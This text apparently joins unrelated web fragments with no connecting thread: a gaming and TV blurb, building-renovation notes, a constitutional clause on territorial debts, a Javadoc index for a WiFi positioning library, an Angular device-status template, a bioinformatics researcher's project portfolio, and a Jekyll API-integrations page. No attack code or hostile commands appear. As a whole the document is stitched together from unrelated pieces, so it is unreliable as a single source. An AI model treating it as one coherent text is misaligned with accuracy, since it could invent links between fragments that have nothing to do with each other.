In the post-pandemic era, my time gaming and Netflixing has increased exponentially. The Witcher and Dark are two of my favorite shows of all time. The Legend of Zelda: Breath of the Wild replaced Ocarina of Time as my favorite game of all time.


Environmental – Building Renovations (IV.6.)
In building renovations, it is important to remember that you are dealing with previous mistakes, errors, and obsolete materials and technologies.
Asbestos, mold, and lead paint are some of the most common environmental issues during renovation.
Ensure code compliance for all updated codes, once a renovation starts you are no longer grandfathered in.
Enhance positive historical and cultural aspects of the renovation.
Proper recycling of disposed materials is critical.
Certifications are a nice touch to demonstrate the significant value of the renovation.


DEBTS
Section 10. The debts and liabilities of the Territory shall be assumed and paid by the State, and all debts owed to the Territory shall be collected by the State. [Ren Const Con 1968 and election Nov5, 1968; ren Const Con 1978 and election Nov7, 1978]
Case Notes
All territorial general obligation bonds outstanding and unpaid at time of statehood became state obligations. 44 H. 154, 163, 352 P.2d 861.


- add(double, double) - Method in class Tools.Point3D
-
- add(double, double, double) - Method in class Tools.Point3D
-
- add(AP_Scan) - Method in class WiFi_data.AP_Scans
-
- add(AP_Scan) - Method in class WiFi_data.APs_Scans
-
- add(WiFi_AP) - Method in class WiFi_data.WiFi_Scan
-
- Algorithms - package Algorithms
-
- And_Filter - Class in Filter
-
- And_Filter(filter, filter) - Constructor for class Filter.And_Filter
-
- angleXY(Point3D) - Method in class Tools.Point3D
-
computes the angleXY between p1 and p2 in RADIANS:
up:(PI/2) , down (-PI/2) , right(0), left(+- PI).
- angleXY_2PI(Point3D) - Method in class Tools.Point3D
-
computes the angleXY between p1 and p2 in RADIANS:
up:(PI/2) , down (1.5PI) , right(0), left(PI).
- angleZ(Point3D) - Method in class Tools.Point3D
-
computes the angleZ between p1 and p2 in RADIANS
- angXY(double, double) - Static method in class Tools.Cords
-
this static function compute the angle from 0,0 to x,y assuming north is 0, east is 90, south =180, west = 270
- AP_Comparator - Class in WiFi_data
-
This is a simple comparator for sorting WiFi Access Points according to their received signal strength
- AP_Comparator() - Constructor for class WiFi_data.AP_Comparator
-
- AP_Scan - Class in WiFi_data
-
This class represents a single WiFi Access Point Scan in time and place;
- AP_Scan(WiFi_AP, Point3D, String, String) - Constructor for class WiFi_data.AP_Scan
-
- AP_Scan(AP_Scan) - Constructor for class WiFi_data.AP_Scan
-
- AP_Scans - Class in WiFi_data
-
This class represents a simple container of AP_Scan - of the SAME Access Point.
- AP_Scans() - Constructor for class WiFi_data.AP_Scans
-
- APPLICATION_TITLE - Static variable in class Tools.Const
-
- approx_Scans_positions(WiFi_Scans, WiFi_Scans, int) - Static method in class Algorithms.WiFi_Scan_approx_location
-
This is the main function implementing the positioning algorithm for a given WiFi_Scan - with respect to
a given DB (Testing set).
- APs_Scans - Class in WiFi_data
-
This class represents a set (HashMap) of AP_Scans ordered by the AccessPoints MAC address.
- APs_Scans() - Constructor for class WiFi_data.APs_Scans
-
- APs_Scans(String) - Constructor for class WiFi_data.APs_Scans
-
- APs_Scans(WiFi_Scans) - Constructor for class WiFi_data.APs_Scans
-
- APs_ScansTest - Class in Tests
-
- APs_ScansTest() - Constructor for class Tests.APs_ScansTest
-
- azmDist(double[], double[]) - Static method in class Tools.Cords
-
this function computes the azimuth and distance (and dz) in degrees and meters between
two lat/lon points.
- azmDist2cords(double, double) - Static method in class Tools.Cords
-


Device Service:
{{device?.deviceService}}
IP Address:
{{device?.lastIpAddress}}
Status:
{{device?.lastStatusUpdate}}
Last Updated:
{{device?.dateLastUpdated}}
This feature has yet to be implemented.
This feature has yet to be implemented.
This feature has yet to be implemented.
This feature has yet to be implemented.


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Projects
April 2021 - November 2021 SCINet Corner
Based on feedback across the USDA, designed and developed the monthly virtual meetings for researchers to get started using SCINet Resources. Spatial Chat allowed accomodations of large groups from all regions of the USA to interact and share best practices. Short demos or talks would kick off each meeting and included topics such as containers, galaxy, using the long term storage, jupyterhub, and some slurm best practices.
2020-present Bioinformatics Workbook: tutorial contributions.
GitHub Repo: ISUgenomics/bioinformatics-workbook Website: https://bioinformaticsworkbook.org
The Bioinformatics Workbook is maintained by the Genome Informatics Facility at Iowa State University. Through collaboration, contributed the following tutorials:
- Setting up an R and RStudio environment
- WGCNA: weighted gene correlation network analysis
- Image Processing Fundamentals
- Introduction to binder
- FastTree phylogenetics
2020-present HuffordLab/Maize_WGS_Build: GATK pipeline wrapped in Nextflow
GitHub Repo: HuffordLab/Maize_WGS_Build
Whole genome sequences (WGS) of various lines of Maize are becoming more and more available. In order to make this information available on the MaizeGDB website, a reproducible, scaleable method to call variants against a reference was needed. In 2020, via a collaboration, the GATK (Genome Analysis Tool Kit) pipeline was wrapped in Nextflow (groovy-based workflow language). The resulting pipeline is avaiable at the following github repo: HuffordLab/Maize_WGS_Build. A fork of the repo is also available at: isugifNF/GATK.
2017-2020 OctoFLU: a pipeline for classifying swine Influenza into the USA clades
GitHub Repo: flu-crew/octoFLU
Influenza A Viruses are made up of 8 genomic segments (HA, NA, PB2, PB1, PA, NP, M, NS) and classifying them into their respective clades can be a tedius process, especially as clade names tend to change over time. octoFLU provides a one-stop-shop to classify the 8 (octo) swine influenza genomic segments into currently accepted U.S. swine influenza clades. The pipeline is mainly available as a commandline tool and can be run natively or in a Docker/Singularity image. A GUI version of the tool is in development and available at the github repo: j23414/octoFLU although it will probably be replaced with a version on flu-crew.
2016-2017 Cavatica: a pipeline for literature mining PubMed and PubMed Central
GitHub Repo: incertae-sedis/cavatica
Cavatica is a set of scripts for pulling PubMed and PubMed Central articles to compare adoption of methods/tools in a research community. The below example is comparing the publications using different network analysis software (IPA, Cytoscape, etc). Green nodes represent authors while black nodes represent papers. The horizontal blue lines, going across network tools, indicate individuals who have published a paper in one software, switching to a different software. Cavatica has several submodule scripts for analyzing these software/method adoption trends.
2014-2017 Mango: an environment for combining heterogeneous networks
Mango Graph Studio development was motivated by the need for fast heterogeneous graph integration and analysis. The software has since been licensed to Complex Computation, LLC. I conceived and wrote the first line of Mango code in January 2014 while working toward a Ph.D. in Bioinformatics at Iowa State University.
Mango was accepted as a Computer Demo at the 2016 Plant and Animal Genome (PAG) meeting.
2012-2014 Lucy2 v2.20: DNA cleaning and trimming
Lucy2 is the GUI version of the Lucy command line program. To learn C++ and wxWidgets, I worked on the GUI update while part of Dr Hui-Hsien Chou's lab at Iowa State University in 2012.
- Download Lucy2
- Updated the GUI using wxWidgets. Updates included allowing multiple sequence files to be analyzed concurrently, new nucleotide color scheme, new FASTQ reader, and creating a settings dialog box validator.
2011 Visualizing Exon Junction Reads in R
During my rotation in Dr. Di Cook's lab at Iowa State University in 2011, I had just started learning R and github and was documenting this mini-project in a blog.
© Jennifer Chang 2020 · Last Update: 2020-10-15


--- layout: default title: API Integrations (Detailed Listing) ---
This is a sample data driven API integrations page that is hosted on Github, making it something that any API provider can fork and easily put to use, showing the possible integrations with other APIs available when you use their APIs.
Here are the sample integrations listing page showing what is possible:
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{{ tool.name }} - {{ tool.description }}
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This project is forkable using the Github repository, and will run on any site using Jekyll, which makes Github Pages a very suitable place to run data and API driven solutions like this.
There are two API integrations pages available here, one for a detailed listing, and another for a more icon based listing. Both use Liquid to access the YAML integrations data store in the _data folder for the project.
In addition to human listing pages, that can run in any API website or portal, there is an API available for accessing API integrations in a machine-readable way. I provide endpoints for filtering by category, and will be adding other endpoints in future versions.
While the integrations YAML data is stored in the _data folder within the Github repository for this site, the data is managed via the Google Spreadsheet, and synced by running the pull spreadsheet script for integrations with a valid Github OAuth token--when successful, it updates the YAML data store with the latest data.
While not 100% documented, this site is meant to be forked, and reskinned with your own graphical website look, and managed with your own data, showing what integrations are available for your API platform. You can add a subdomain to the cname for the Github repo, making it a standalone API integration page that matches the rest of your API website or portal.
If you have any questions, or would like me to deploy an API integration page for your API, you can submit a Github Issue for the project, and I'll get back to you with more information.